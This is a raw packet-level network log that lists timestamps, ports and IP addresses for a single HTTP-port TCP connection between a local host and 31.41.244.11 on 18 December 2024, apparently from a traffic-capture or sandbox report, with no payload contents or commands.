Dec 18, 2024 09:07:38.920959949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.923372984 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.923384905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.923429012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.925991058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.926007032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.926060915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.928397894 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.928452969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.928493023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.929919004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.930816889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.930902004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.930902958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.930975914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.933360100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.933370113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.933423042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.935955048 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.935977936 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.936011076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.936042070 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.938220978 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.938446045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.938472033 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.938504934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.940902948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.940973043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.940984011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.941443920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.943337917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.943394899 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.943434954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.943489075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.945911884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.945939064 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.945976973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.948185921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.948209047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.948256016 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.950655937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.950719118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.950761080 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.950870037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.953126907 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.953358889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.953406096 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.955621004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.955673933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.955730915 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.955780029 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.958125114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.958180904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.958257914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.958307028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.960644007 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.960712910 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.960849047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.960897923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.963085890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.963126898 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.963135958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.963166952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.965671062 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.965727091 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.965783119 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.965831041 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:38.968164921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:38.968219042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.072096109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.072154999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.072190046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.072288990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.072943926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.072995901 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.073071003 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.073122025 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.075016022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.075069904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.075802088 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.075855970 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.075901031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.075949907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.077964067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.078022957 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.078083038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.078131914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.080195904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.080208063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.080243111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.080275059 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.082113028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.082206964 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.082282066 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.082351923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.084371090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.084429026 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.084475994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.084525108 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.086781979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.086836100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.086925030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.086982012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.088149071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.088203907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.088287115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.088336945 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.090024948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.090092897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.090190887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.090245008 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.092045069 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.092097998 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.092437983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.092514038 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.093857050 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.093919039 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.093972921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.094840050 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.095909119 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.095978975 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.096120119 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.096177101 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.097671986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.097771883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.097816944 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.099627018 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.099714994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.099765062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.101540089 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.101648092 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.101655006 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.101735115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.103472948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.103673935 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.103698015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.103733063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.105345964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.105403900 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.105413914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.106060028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.107242107 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.107356071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.107366085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.107501030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.109204054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.109302998 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.109333992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.109380960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.111372948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.111429930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.111476898 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.111568928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.113014936 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.113070965 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.113161087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.113209963 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.114940882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.114979982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.114995003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.115026951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.116836071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.116894007 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.116909027 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.117372990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.118670940 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.118757010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.118758917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.118808985 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.120655060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.120841026 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.121167898 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.121280909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.122467995 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.122535944 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.122618914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.122664928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.124459982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.124473095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.124526978 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.126277924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.126332998 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.126391888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.126460075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.128220081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.128400087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.128463984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.130114079 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.130259037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.130398035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.130445957 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.132028103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.132080078 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.132194042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.132245064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.133999109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.134078026 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.134121895 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.134200096 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.135993958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.136006117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.136055946 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.137788057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.137825966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.137876987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.139602900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.139656067 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.139750957 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.139811039 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.141624928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.141638994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.141686916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.143428087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.143496990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.143615007 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.143663883 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.145327091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.145443916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.145483971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.145692110 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.147300959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.147351980 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.147381067 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.147413015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.149163961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.149205923 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.149223089 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.149251938 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.151374102 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.151385069 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.151431084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.153136969 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.153148890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.153187990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.153219938 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.154880047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.154932976 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.154944897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.154989004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.156735897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.156786919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.156817913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.156867027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.158699989 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.158752918 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.158778906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.158910036 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.160571098 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.160613060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.160623074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.160655975 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.162458897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.162563086 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.162678003 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.162728071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.164418936 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.164464951 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.164501905 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.164532900 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.166368961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.166471004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.166574001 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.166634083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.168351889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.168360949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.168404102 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.168436050 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.262964010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.262980938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.263140917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.263140917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.263768911 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.263847113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.263899088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.265367985 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.265382051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.265434027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.266907930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.266958952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.267029047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.267075062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.268496990 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.268548012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.268564939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.268613100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.270078897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.270138025 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.270214081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.270279884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.271662951 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.271716118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.271856070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.272104979 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.273154020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.273313999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.273356915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.273356915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.274729013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.274780989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.274939060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.275034904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.276201010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.276241064 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.276253939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.276278973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.277726889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.277784109 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.277827024 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.277934074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.279160023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.279211044 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.279285908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.279424906 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.280653000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.280766010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.280774117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.280821085 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.282126904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.282150030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.282176971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.282215118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.283627987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.283687115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.283752918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.283807993 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.284970999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.285049915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.285084009 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.285197020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.286365986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.286448956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.286973953 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.287019968 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.287797928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.287851095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.287861109 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.287965059 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.289181948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.289248943 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.289269924 CET	80	49724	31.41.244.11	192.168.2.8
